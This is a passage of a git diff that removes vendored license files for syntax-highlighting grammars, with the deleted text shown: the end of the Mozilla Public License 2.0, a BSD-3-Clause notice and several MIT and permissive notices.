-     Section 2.1.
-
-
-3. Responsibilities
-
-3.1. Distribution of Source Form
-
-     All distribution of Covered Software in Source Code Form, including any
-     Modifications that You create or to which You contribute, must be under
-     the terms of this License. You must inform recipients that the Source
-     Code Form of the Covered Software is governed by the terms of this
-     License, and how they can obtain a copy of this License. You may not
-     attempt to alter or restrict the recipients' rights in the Source Code
-     Form.
-
-3.2. Distribution of Executable Form
-
-     If You distribute Covered Software in Executable Form then:
-
-     a. such Covered Software must also be made available in Source Code Form,
-        as described in Section 3.1, and You must inform recipients of the
-        Executable Form how they can obtain a copy of such Source Code Form by
-        reasonable means in a timely manner, at a charge no more than the cost
-        of distribution to the recipient; and
-
-     b. You may distribute such Executable Form under the terms of this
-        License, or sublicense it under different terms, provided that the
-        license for the Executable Form does not attempt to limit or alter the
-        recipients' rights in the Source Code Form under this License.
-
-3.3. Distribution of a Larger Work
-
-     You may create and distribute a Larger Work under terms of Your choice,
-     provided that You also comply with the requirements of this License for
-     the Covered Software. If the Larger Work is a combination of Covered
-     Software with a work governed by one or more Secondary Licenses, and the
-     Covered Software is not Incompatible With Secondary Licenses, this
-     License permits You to additionally distribute such Covered Software
-     under the terms of such Secondary License(s), so that the recipient of
-     the Larger Work may, at their option, further distribute the Covered
-     Software under the terms of either this License or such Secondary
-     License(s).
-
-3.4. Notices
-
-     You may not remove or alter the substance of any license notices
-     (including copyright notices, patent notices, disclaimers of warranty, or
-     limitations of liability) contained within the Source Code Form of the
-     Covered Software, except that You may alter any license notices to the
-     extent required to remedy known factual inaccuracies.
-
-3.5. Application of Additional Terms
-
-     You may choose to offer, and to charge a fee for, warranty, support,
-     indemnity or liability obligations to one or more recipients of Covered
-     Software. However, You may do so only on Your own behalf, and not on
-     behalf of any Contributor. You must make it absolutely clear that any
-     such warranty, support, indemnity, or liability obligation is offered by
-     You alone, and You hereby agree to indemnify every Contributor for any
-     liability incurred by such Contributor as a result of warranty, support,
-     indemnity or liability terms You offer. You may include additional
-     disclaimers of warranty and limitations of liability specific to any
-     jurisdiction.
-
-4. Inability to Comply Due to Statute or Regulation
-
-   If it is impossible for You to comply with any of the terms of this License
-   with respect to some or all of the Covered Software due to statute,
-   judicial order, or regulation then You must: (a) comply with the terms of
-   this License to the maximum extent possible; and (b) describe the
-   limitations and the code they affect. Such description must be placed in a
-   text file included with all distributions of the Covered Software under
-   this License. Except to the extent prohibited by statute or regulation,
-   such description must be sufficiently detailed for a recipient of ordinary
-   skill to be able to understand it.
-
-5. Termination
-
-5.1. The rights granted under this License will terminate automatically if You
-     fail to comply with any of its terms. However, if You become compliant,
-     then the rights granted under this License from a particular Contributor
-     are reinstated (a) provisionally, unless and until such Contributor
-     explicitly and finally terminates Your grants, and (b) on an ongoing
-     basis, if such Contributor fails to notify You of the non-compliance by
-     some reasonable means prior to 60 days after You have come back into
-     compliance. Moreover, Your grants from a particular Contributor are
-     reinstated on an ongoing basis if such Contributor notifies You of the
-     non-compliance by some reasonable means, this is the first time You have
-     received notice of non-compliance with this License from such
-     Contributor, and You become compliant prior to 30 days after Your receipt
-     of the notice.
-
-5.2. If You initiate litigation against any entity by asserting a patent
-     infringement claim (excluding declaratory judgment actions,
-     counter-claims, and cross-claims) alleging that a Contributor Version
-     directly or indirectly infringes any patent, then the rights granted to
-     You by any and all Contributors for the Covered Software under Section
-     2.1 of this License shall terminate.
-
-5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
-     license agreements (excluding distributors and resellers) which have been
-     validly granted by You or Your distributors under this License prior to
-     termination shall survive termination.
-
-6. Disclaimer of Warranty
-
-   Covered Software is provided under this License on an "as is" basis,
-   without warranty of any kind, either expressed, implied, or statutory,
-   including, without limitation, warranties that the Covered Software is free
-   of defects, merchantable, fit for a particular purpose or non-infringing.
-   The entire risk as to the quality and performance of the Covered Software
-   is with You. Should any Covered Software prove defective in any respect,
-   You (not any Contributor) assume the cost of any necessary servicing,
-   repair, or correction. This disclaimer of warranty constitutes an essential
-   part of this License. No use of  any Covered Software is authorized under
-   this License except under this disclaimer.
-
-7. Limitation of Liability
-
-   Under no circumstances and under no legal theory, whether tort (including
-   negligence), contract, or otherwise, shall any Contributor, or anyone who
-   distributes Covered Software as permitted above, be liable to You for any
-   direct, indirect, special, incidental, or consequential damages of any
-   character including, without limitation, damages for lost profits, loss of
-   goodwill, work stoppage, computer failure or malfunction, or any and all
-   other commercial damages or losses, even if such party shall have been
-   informed of the possibility of such damages. This limitation of liability
-   shall not apply to liability for death or personal injury resulting from
-   such party's negligence to the extent applicable law prohibits such
-   limitation. Some jurisdictions do not allow the exclusion or limitation of
-   incidental or consequential damages, so this exclusion and limitation may
-   not apply to You.
-
-8. Litigation
-
-   Any litigation relating to this License may be brought only in the courts
-   of a jurisdiction where the defendant maintains its principal place of
-   business and such litigation shall be governed by laws of that
-   jurisdiction, without reference to its conflict-of-law provisions. Nothing
-   in this Section shall prevent a party's ability to bring cross-claims or
-   counter-claims.
-
-9. Miscellaneous
-
-   This License represents the complete agreement concerning the subject
-   matter hereof. If any provision of this License is held to be
-   unenforceable, such provision shall be reformed only to the extent
-   necessary to make it enforceable. Any law or regulation which provides that
-   the language of a contract shall be construed against the drafter shall not
-   be used to construe this License against a Contributor.
-
-
-10. Versions of the License
-
-10.1. New Versions
-
-      Mozilla Foundation is the license steward. Except as provided in Section
-      10.3, no one other than the license steward has the right to modify or
-      publish new versions of this License. Each version will be given a
-      distinguishing version number.
-
-10.2. Effect of New Versions
-
-      You may distribute the Covered Software under the terms of the version
-      of the License under which You originally received the Covered Software,
-      or under the terms of any subsequent version published by the license
-      steward.
-
-10.3. Modified Versions
-
-      If you create software not governed by this License, and you want to
-      create a new license for such software, you may create and use a
-      modified version of this License if you rename the license and remove
-      any references to the name of the license steward (except to note that
-      such modified license differs from this License).
-
-10.4. Distributing Source Code Form that is Incompatible With Secondary
-      Licenses If You choose to distribute Source Code Form that is
-      Incompatible With Secondary Licenses under the terms of this version of
-      the License, the notice described in Exhibit B of this License must be
-      attached.
-
-Exhibit A - Source Code Form License Notice
-
-      This Source Code Form is subject to the
-      terms of the Mozilla Public License, v.
-      2.0. If a copy of the MPL was not
-      distributed with this file, You can
-      obtain one at
-      http://mozilla.org/MPL/2.0/.
-
-If it is not possible or desirable to put the notice in a particular file,
-then You may include the notice in a location (such as a LICENSE file in a
-relevant directory) where a recipient would be likely to look for such a
-notice.
-
-You may add additional accurate notices of copyright ownership.
-
-Exhibit B - "Incompatible With Secondary Licenses" Notice
-
-      This Source Code Form is "Incompatible
-      With Secondary Licenses", as defined by
-      the Mozilla Public License, v. 2.0.
-
diff --git a/vendor/licenses/grammar/sublimetext-cuda-cpp.txt b/vendor/licenses/grammar/sublimetext-cuda-cpp.txt
deleted file mode 100644
index cf54b61fa3..0000000000
--- a/vendor/licenses/grammar/sublimetext-cuda-cpp.txt
+++ /dev/null
@@ -1,30 +0,0 @@
----
-type: grammar
-name: sublimetext-cuda-cpp
-license: bsd-3-clause
----
-# Copyright (c) 2014, NVIDIA CORPORATION. All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#  * Redistributions of source code must retain the above copyright
-#    notice, this list of conditions and the following disclaimer.
-#  * Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in the
-#    documentation and/or other materials provided with the distribution.
-#  * Neither the name of NVIDIA CORPORATION nor the names of its
-#    contributors may be used to endorse or promote products derived
-#    from this software without specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
-# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-# PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
-# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
-# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
-# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/swift.tmbundle.txt b/vendor/licenses/grammar/swift.tmbundle.txt
deleted file mode 100644
index e13ab24ba2..0000000000
--- a/vendor/licenses/grammar/swift.tmbundle.txt
+++ /dev/null
@@ -1,13 +0,0 @@
----
-type: grammar
-name: swift.tmbundle
-license: permissive
----
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/tcl.tmbundle.txt b/vendor/licenses/grammar/tcl.tmbundle.txt
deleted file mode 100644
index 5fdb0854dd..0000000000
--- a/vendor/licenses/grammar/tcl.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: tcl.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/thrift.tmbundle.txt b/vendor/licenses/grammar/thrift.tmbundle.txt
deleted file mode 100644
index 41731e6a97..0000000000
--- a/vendor/licenses/grammar/thrift.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: thrift.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/toml.tmbundle.txt b/vendor/licenses/grammar/toml.tmbundle.txt
deleted file mode 100644
index 00c608360b..0000000000
--- a/vendor/licenses/grammar/toml.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: toml.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/turtle.tmbundle.txt b/vendor/licenses/grammar/turtle.tmbundle.txt
deleted file mode 100644
index f7270880dd..0000000000
--- a/vendor/licenses/grammar/turtle.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: turtle.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013–2015 Peter Geil
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/verilog.tmbundle.txt b/vendor/licenses/grammar/verilog.tmbundle.txt
deleted file mode 100644
index 042e051705..0000000000
--- a/vendor/licenses/grammar/verilog.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: verilog.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/vue-syntax-highlight.txt b/vendor/licenses/grammar/vue-syntax-highlight.txt
deleted file mode 100644
index 9d4369d681..0000000000
--- a/vendor/licenses/grammar/vue-syntax-highlight.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: vue-syntax-highlight
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013-2014 Yuxi Evan You
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/xc.tmbundle.txt b/vendor/licenses/grammar/xc.tmbundle.txt
deleted file mode 100644
index 08f100a582..0000000000
--- a/vendor/licenses/grammar/xc.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: xc.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/xml.tmbundle.txt b/vendor/licenses/grammar/xml.tmbundle.txt
deleted file mode 100644
index 2bef31e9c7..0000000000
--- a/vendor/licenses/grammar/xml.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: xml.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/zephir-sublime.txt b/vendor/licenses/grammar/zephir-sublime.txt
deleted file mode 100644
index 71b4c835c1..0000000000
--- a/vendor/licenses/grammar/zephir-sublime.txt
+++ /dev/null
@@ -1,28 +0,0 @@
----
-type: grammar
-name: zephir-sublime
-license: mit
----
-
-Copyright (c) 2014 Zephir Team and contributors
-http://zephir-lang.com
-
-MIT License
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.